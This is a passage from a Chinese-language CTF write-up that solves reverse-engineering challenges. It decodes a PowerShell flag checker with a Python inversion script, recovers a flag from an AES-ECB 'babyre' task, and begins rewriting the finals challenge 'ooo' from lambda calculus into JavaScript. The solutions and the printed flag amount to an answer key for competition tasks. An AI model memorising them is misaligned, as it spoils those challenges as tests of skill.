class="variable">$inputbyte</span>[<span class="variable">$k</span>] * <span class="variable">$key</span>[<span class="variable">$k</span> % <span class="variable">$key</span><span class="type">.Length</span>]</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$inputbyte</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$registryPath</span> = <span class="string">&#x27;HKCU:\Software\PacManX&#x27;</span></span><br><span class="line"><span class="variable">$valueName</span> = <span class="string">&#x27;MYFLAG&#x27;</span></span><br><span class="line"><span class="variable">$value</span> = <span class="built_in">Get-ItemPropertyValue</span> <span class="variable">$registryPath</span> <span class="variable">$valueName</span></span><br><span class="line"><span class="variable">$plaintext</span> = <span class="selector-tag">@</span>(<span class="variable">$value</span>) | <span class="built_in">ForEach-Object</span> &#123;</span><br><span class="line">    <span class="variable">$input</span> = <span class="variable">$_</span></span><br><span class="line">    <span class="variable">$plaintext</span> = <span class="selector-tag">@</span>()</span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> <span class="operator">-lt</span> <span class="variable">$input</span>.Length; <span class="variable">$i</span>++) &#123;</span><br><span class="line">        <span class="variable">$plaintext</span> += [<span class="built_in">int</span>][<span class="built_in">char</span>]<span class="variable">$input</span>[<span class="variable">$i</span>]</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable">$plaintext</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$plaintext</span>.Length <span class="operator">-ne</span> <span class="number">36</span>) &#123;</span><br><span class="line">    <span class="built_in">Set-Content</span> <span class="literal">-Path</span> <span class="string">&quot;log.txt&quot;</span> <span class="literal">-Value</span> <span class="string">&quot;ERROR&quot;</span></span><br><span class="line">    <span class="keyword">exit</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$encrypted1Text</span> = enENenenene2 <span class="literal">-inputbyte</span> (enenenENene2 <span class="literal">-inputbyte</span> (enenenenene3 <span class="literal">-inputbyte</span> (Enenenenene2 <span class="literal">-inputbyte</span> (enenenenene2 <span class="literal">-inputbyte</span> (enenenenene2 <span class="literal">-inputbyte</span> (enenenenene1 <span class="literal">-input</span> <span class="variable">$plaintext</span>))))))</span><br><span class="line"><span class="variable">$result</span> = <span class="selector-tag">@</span>(<span class="number">38304</span>, <span class="number">8928</span>, <span class="number">43673</span>, <span class="number">25957</span> , <span class="number">67260</span>, <span class="number">47152</span>, <span class="number">16656</span>, <span class="number">62832</span> , <span class="number">19480</span> , <span class="number">66690</span>, <span class="number">40432</span>, <span class="number">15072</span> , <span class="number">63427</span> , <span class="number">28558</span> , <span class="number">54606</span>, <span class="number">47712</span> , <span class="number">18240</span> , <span class="number">68187</span> , <span class="number">18256</span>, <span class="number">63954</span> , <span class="number">48384</span>, <span class="number">14784</span>, <span class="number">60690</span> , <span class="number">21724</span> , <span class="number">53238</span> , <span class="number">64176</span> , <span class="number">9888</span> , <span class="number">54859</span> , <span class="number">23050</span> , <span class="number">58368</span> , <span class="number">46032</span> , <span class="number">15648</span> , <span class="number">64260</span> , <span class="number">17899</span> , <span class="number">52782</span> , <span class="number">51968</span> , <span class="number">12336</span> , <span class="number">69377</span> , <span class="number">27844</span> , <span class="number">43206</span> , <span class="number">63616</span>)</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$k</span> = <span class="number">0</span>; <span class="variable">$k</span> <span class="operator">-lt</span> <span class="variable">$result</span>.Length; <span class="variable">$k</span>++) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$encrypted1Text</span>[<span class="variable">$k</span>] <span class="operator">-ne</span> <span class="variable">$result</span>[<span class="variable">$k</span>]) &#123;</span><br><span class="line">        <span class="built_in">Set-Content</span> <span class="literal">-Path</span> <span class="string">&quot;log.txt&quot;</span> <span class="literal">-Value</span> <span class="string">&quot;ERROR&quot;</span></span><br><span class="line"> <span class="keyword">exit</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">Set-Content</span> <span class="literal">-Path</span> <span class="string">&quot;log.txt&quot;</span> <span class="literal">-Value</span> <span class="string">&quot;RIGHT&quot;</span></span><br></pre></td></tr></table></figure><p>可以发现enenenenen函数是ksa+rpga，enenenenen1则是调用了前者对输入和key进行反复加密（加密Key的部分密钥不变），enenenenen2是一个加法操作，enenenenen3则是乘法操作，逆推即可。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">key1 = [<span class="number">0x70</span>, <span class="number">0x6f</span>, <span class="number">0x77</span>, <span class="number">0x65</span>, <span class="number">0x72</span>]</span><br><span class="line">key2 = [<span class="number">0x70</span>, <span class="number">0x30</span>, <span class="number">0x77</span>, <span class="number">0x65</span>, <span class="number">0x72</span>]</span><br><span class="line">key3 = [<span class="number">0x70</span>, <span class="number">0x30</span>, <span class="number">0x77</span>, <span class="number">0x33</span>, <span class="number">0x72</span>]</span><br><span class="line">output=[<span class="number">38304</span>, <span class="number">8928</span>, <span class="number">43673</span>, <span class="number">25957</span> , <span class="number">67260</span>, <span class="number">47152</span>, <span class="number">16656</span>, <span class="number">62832</span> , <span class="number">19480</span> , <span class="number">66690</span>, <span class="number">40432</span>, <span class="number">15072</span> , <span class="number">63427</span> , <span class="number">28558</span> , <span class="number">54606</span>, <span class="number">47712</span> , <span class="number">18240</span> , <span class="number">68187</span> , <span class="number">18256</span>, <span class="number">63954</span> , <span class="number">48384</span>, <span class="number">14784</span>, <span class="number">60690</span> , <span class="number">21724</span> , <span class="number">53238</span> , <span class="number">64176</span> , <span class="number">9888</span> , <span class="number">54859</span> , <span class="number">23050</span> , <span class="number">58368</span> , <span class="number">46032</span> , <span class="number">15648</span> , <span class="number">64260</span> , <span class="number">17899</span> , <span class="number">52782</span> , <span class="number">51968</span> , <span class="number">12336</span> , <span class="number">69377</span> , <span class="number">27844</span> , <span class="number">43206</span> , <span class="number">63616</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ksa</span>(<span class="params">s,key</span>):</span><br><span class="line">    ls=[i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>)]</span><br><span class="line">    j=<span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">        j=(j+ls[i]+key[i%<span class="built_in">len</span>(key)])%<span class="number">256</span></span><br><span class="line">        ls[i],ls[j]=ls[j],ls[i]</span><br><span class="line">    ll=[]</span><br><span class="line">    i2,i3=<span class="number">0</span>,<span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(s)):</span><br><span class="line">        i2=(i2+<span class="number">1</span>)%<span class="number">256</span></span><br><span class="line">        i3=(i3+ls[i2])%<span class="number">256</span></span><br><span class="line">        ls[i2],ls[i3]=ls[i3],ls[i2]</span><br><span class="line">        ll.append((ls[(ls[i2]+ls[i3])%<span class="number">256</span>])^s[i])</span><br><span class="line">    <span class="keyword">return</span> ll</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(output)):</span><br><span class="line">    output[i]-=<span class="number">2</span>*key2[i%<span class="built_in">len</span>(key2)]</span><br><span class="line">    output[i]//=key3[i%<span class="built_in">len</span>(key3)]</span><br><span class="line">    output[i]-=<span class="number">3</span>*key2[i%<span class="built_in">len</span>(key2)]</span><br><span class="line"></span><br><span class="line">key=output[-<span class="number">5</span>:]</span><br><span class="line">flag=output[:<span class="number">36</span>]</span><br><span class="line">key=ksa(key,flag)</span><br><span class="line">flag=ksa(flag,key)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;flag&#123;&#x27;</span>,end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;&#x27;</span>.join(<span class="built_in">map</span>(<span class="built_in">chr</span>,flag)),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;&#125;&#x27;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="babyre"><a href="#babyre" class="headerlink" title="babyre"></a>babyre</h3><p>在IDA中查看，发现是接受一串数据并对其进行处理，查看后发现第一个函数是标准的AES ECB加密，第二个函数是将顺序和加密后的结果进行拆分存储，最后一个函数则是读取存储的数以及顺序并进行判断。</p><p><img src="/community/upload/image-20241020035059-o7tinnn.png" alt="image"></p><p>首先可以根据一下部分推出v5-v15所有可能的值，其中v8v7v6v5是顺序，v15v14v13v12v11v10v9是加密后的数据。</p><p><img src="/community/upload/image-20241020035336-4sfgzcx.png" alt="image"></p><p>AES ECB解密即可</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#其中一组数据</span></span><br><span class="line">v5=<span class="number">1</span></span><br><span class="line">v6=<span class="number">1</span></span><br><span class="line">v8=<span class="number">0</span></span><br><span class="line">v9=<span class="number">0</span></span><br><span class="line">v10=<span class="number">1</span></span><br><span class="line">v12=<span class="number">0</span></span><br><span class="line">v13=<span class="number">0</span></span><br><span class="line">v14=<span class="number">0</span></span><br><span class="line">v15=<span class="number">1</span></span><br><span class="line">v16=<span class="number">1</span></span><br><span class="line">v11=<span class="number">0</span></span><br><span class="line">v7=<span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(<span class="built_in">int</span>((<span class="built_in">str</span>(v9)+<span class="built_in">str</span>(v10)+<span class="built_in">str</span>(v11)+<span class="built_in">str</span>(v12)+<span class="built_in">str</span>(v13)+<span class="built_in">str</span>(v14)+<span class="built_in">str</span>(v15)+<span class="built_in">str</span>(v16))[::-<span class="number">1</span>],<span class="number">2</span>)))<span class="comment">#原始数据</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">int</span>(<span class="built_in">str</span>(v8)+<span class="built_in">str</span>(v7)+<span class="built_in">str</span>(v6)+<span class="built_in">str</span>(v5),<span class="number">2</span>))<span class="comment">#顺序</span></span><br><span class="line"></span><br><span class="line">ls=[<span class="number">0</span>]*<span class="number">16</span></span><br><span class="line">ls[<span class="number">6</span>]=<span class="number">0xb2</span></span><br><span class="line">ls[<span class="number">10</span>]=<span class="number">0x4a</span></span><br><span class="line">ls[<span class="number">15</span>]=<span class="number">0x48</span></span><br><span class="line">ls[<span class="number">14</span>]=<span class="number">0xa</span></span><br><span class="line">ls[<span class="number">0</span>]=<span class="number">0x12</span></span><br><span class="line">ls[<span class="number">7</span>]=<span class="number">0x4c</span></span><br><span class="line">ls[<span class="number">5</span>]=<span class="number">0x4</span></span><br><span class="line">ls[<span class="number">1</span>]=<span class="number">0x8f</span></span><br><span class="line">ls[<span class="number">11</span>]=<span class="number">0xcf</span></span><br><span class="line">ls[<span class="number">8</span>]=<span class="number">0x5b</span></span><br><span class="line">ls[<span class="number">9</span>]=<span class="number">0xba</span></span><br><span class="line">ls[<span class="number">13</span>]=<span class="number">0x36</span></span><br><span class="line">ls[<span class="number">6</span>]=<span class="number">0xb2</span></span><br><span class="line">ls[<span class="number">12</span>]=<span class="number">0x11</span></span><br><span class="line">ls[<span class="number">4</span>]=<span class="number">0x85</span></span><br><span class="line">ls[<span class="number">3</span>]=<span class="number">0xc2</span></span><br><span class="line">ls[<span class="number">2</span>]=<span class="number">0xec</span></span><br><span class="line"><span class="comment">#ls=[0x12,0x8f,0xec,0xc2,0x85,0x04,0xb2,0x4c,0x5b,0xba,0x4a,0xcf,0x11,0x36,0x0a,0x48]</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line">key_le = <span class="string">b&#x27;\x35\x77\x40\x2E\xCC\xA4\x4A\x3F\x9A\xB7\x21\x82\xF9\xB0\x1F\x35&#x27;</span></span><br><span class="line">cipher = AES.new(key_le, AES.MODE_ECB)</span><br><span class="line">hex_string = <span class="string">&#x27;\\x12\\x8f\\xec\\xc2\\x85\\x04\\xb2\\x4c\\x5b\\xba\\x4a\\xcf\\x11\\x36\\x0a\\x48&#x27;</span></span><br><span class="line">encrypted_data = <span class="built_in">bytes</span>.fromhex(hex_string.replace(<span class="string">&#x27;\\x&#x27;</span>, <span class="string">&#x27;&#x27;</span>))</span><br><span class="line">decrypted_data = cipher.decrypt(encrypted_data)</span><br><span class="line"><span class="built_in">print</span>(decrypted_data)</span><br><span class="line"></span><br><span class="line"><span class="comment">#&#x27;\x4d\x87\xef\x03\x77\xbb\x49\x1a\x80\xf5\x46\x20\x24\x58\x07\xc4&#x27;</span></span><br><span class="line"><span class="comment">#flag&#123;4d87ef03-77bb-491a-80f5-4620245807c4&#125;</span></span><br></pre></td></tr></table></figure><h1 id="决赛"><a href="#决赛" class="headerlink" title="决赛"></a>决赛</h1><h2 id="Reverse-1"><a href="#Reverse-1" class="headerlink" title="Reverse"></a>Reverse</h2><h3 id="ooo"><a href="#ooo" class="headerlink" title="ooo"></a>ooo</h3><h4 id="Day-1"><a href="#Day-1" class="headerlink" title="Day 1"></a>Day 1</h4><p>换成了 <code>JavaScript</code> 的箭头函数，看着舒服一点，还可以用 <code>Babel</code> 。</p><ol><li>删去所有 <code>lambda</code></li><li>把所有的 <code>: </code> 替换为 <code>=&gt;</code></li><li>变量名替换</li></ol><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">c1=&gt;<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">c3</span>=&gt;</span><span class="function"><span class="params">c4</span>=&gt;</span><span class="function"><span class="params">c5</span>=&gt;</span><span class="function"><span class="params">c6</span>=&gt;</span><span class="function"><span class="params">c7</span>=&gt;</span><span class="function"><span class="params">c8</span>=&gt;</span><span class="function"><span class="params">c9</span>=&gt;</span><span class="function"><span class="params">c10</span>=&gt;</span><span class="function"><span class="params">c11</span>=&gt;</span><span class="function"><span class="params">c12</span>=&gt;</span><span class="function"><span class="params">c13</span>=&gt;</span><span class="function"><span class="params">c14</span>=&gt;</span><span class="function"><span class="params">c15</span>=&gt;</span><span class="function"><span class="params">c16</span>=&gt;</span>(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(b2)(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>c2))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d2)(<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span>c2))((<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span><span class="title function_">c2</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d4</span>=&gt;</span><span class="function"><span class="params">d5</span>=&gt;</span><span class="title function_">d5</span>(<span class="title function_">d4</span>(d2)))(<span class="function"><span class="params">d4</span>=&gt;</span>d3)(<span class="function"><span class="params">d4</span>=&gt;</span>d4))(c1))(b2)(b1)))(a1)(a2))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d2)(<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span>c2))((<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span><span class="title function_">c2</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d4</span>=&gt;</span><span class="function"><span class="params">d5</span>=&gt;</span><span class="title function_">d5</span>(<span class="title function_">d4</span>(d2)))(<span class="function"><span class="params">d4</span>=&gt;</span>d3)(<span class="function"><span class="params">d4</span>=&gt;</span>d4))(c1))(b1)(b2)))(a1)(a2)))((<span class="function"><span class="params">a1</span>=&gt;</span>(<span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a2</span>(a2)(b1)))(<span class="function"><span class="params">a2</span>=&gt;</span><span class="title function_">a1</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="title function_">a2</span>(a2)(b1))))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span><span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span><span class="title function_">c1</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d1)(c2))((<span class="function"><span class="params">c1</span>=&gt;</span>(<span class="function"><span class="params">c2</span>=&gt;</span><span class="title function_">c2</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d1))(c1))(b1))((<span class="function"><span class="params">c1</span>=&gt;</span>(<span class="function"><span class="params">c2</span>=&gt;</span><span class="title function_">c2</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d1))(c1))(b2))(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span>d1)(<span class="function"><span class="params">c1</span>=&gt;</span>(<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">c2</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span><span class="title function_">d3</span>(<span class="title function_">d2</span>(d3)(d4)))(d1))(<span class="title function_">a1</span>(a2)((<span class="function"><span class="params">c2</span>=&gt;</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d3))((<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d3))(c2)))(b1))((<span class="function"><span class="params">c2</span>=&gt;</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d3))((<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d3))(c2)))(b2)))(<span class="title function_">a2</span>((<span class="function"><span class="params">c2</span>=&gt;</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d2))((<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d3))(c2)))(b1))((<span class="function"><span class="params">c2</span>=&gt;</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d2))((<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d3))(c2)))(b2))))(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>c2))(<span class="function"><span class="params">a1</span>=&gt;</span><span class="function"><span class="params">a2</span>=&gt;</span>(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(b2)(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>c2))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">c1</span>(<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d2)(<span class="function"><span class="params">c2</span>=&gt;</span><span class="function"><span class="params">d1</span>=&gt;</span>c2))((<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span><span class="title function_">c2</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d4</span>=&gt;</span><span class="function"><span class="params">d5</span>=&gt;</span><span class="title function_">d5</span>(<span class="title function_">d4</span>(d2)))(<span class="function"><span class="params">d4</span>=&gt;</span>d3)(<span class="function"><span class="params">d4</span>=&gt;</span>d4))(c1))(b1)(b2)))(a1)((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b2</span>(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="title function_">b1</span>(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(<span class="title function_">b1</span>(b2)(c1)))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>b2)))))))))))))))((<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span><span class="title function_">c1</span>(c2)(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d2))((<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span>d4)(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d2))((<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span><span class="title function_">d2</span>(<span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span><span class="function"><span class="params">d5</span>=&gt;</span><span class="title function_">d3</span>(<span class="function"><span class="params">e1</span>=&gt;</span><span class="function"><span class="params">e2</span>=&gt;</span><span class="title function_">e2</span>(<span class="title function_">e1</span>(d4)))(<span class="function"><span class="params">e1</span>=&gt;</span>d5)(<span class="function"><span class="params">e1</span>=&gt;</span>e1))(d1))(c2)(c1)))(b1)(b2))((<span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span>d4)(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d2))((<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span><span class="title function_">d2</span>(<span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span><span class="function"><span class="params">d5</span>=&gt;</span><span class="title function_">d3</span>(<span class="function"><span class="params">e1</span>=&gt;</span><span class="function"><span class="params">e2</span>=&gt;</span><span class="title function_">e2</span>(<span class="title function_">e1</span>(d4)))(<span class="function"><span class="params">e1</span>=&gt;</span>d5)(<span class="function"><span class="params">e1</span>=&gt;</span>e1))(d1))(c1)(c2)))(b1)(b2)))((<span class="function"><span class="params">b1</span>=&gt;</span>(<span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(b2)(c1)))(<span class="function"><span class="params">b2</span>=&gt;</span><span class="title function_">b1</span>(<span class="function"><span class="params">c1</span>=&gt;</span><span class="title function_">b2</span>(b2)(c1))))(<span class="function"><span class="params">b1</span>=&gt;</span><span class="function"><span class="params">b2</span>=&gt;</span><span class="function"><span class="params">c1</span>=&gt;</span><span class="function"><span class="params">c2</span>=&gt;</span>(<span class="function"><span class="params">d1</span>=&gt;</span><span class="title function_">d1</span>(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span><span class="function"><span class="params">d4</span>=&gt;</span>d4)(<span class="function"><span class="params">d2</span>=&gt;</span><span class="function"><span class="params">d3</span>=&gt;</span>d2))(c1)(<span class="function"><span class="params">d1</span>=&gt;</span><span class="function"><span class="params">d2</span>=&gt;</span>d2)(<span class="function"><span class="params">d1</span>=&gt;</span>(<span class="function"><span class="params">d2</span>=&gt;</span>(<span class="function"><span class="params">d3</span>=&gt;</span><span class="title function_">d2</span>(<span class="function"><span class="params">d4</span>=&gt;</span><span class="title function_">d3</span>(d3)(d4)))(<span class="function"><span class="params">d3</span>=&gt;</span><span class="title function_">d2</span>(<span class="function"><span 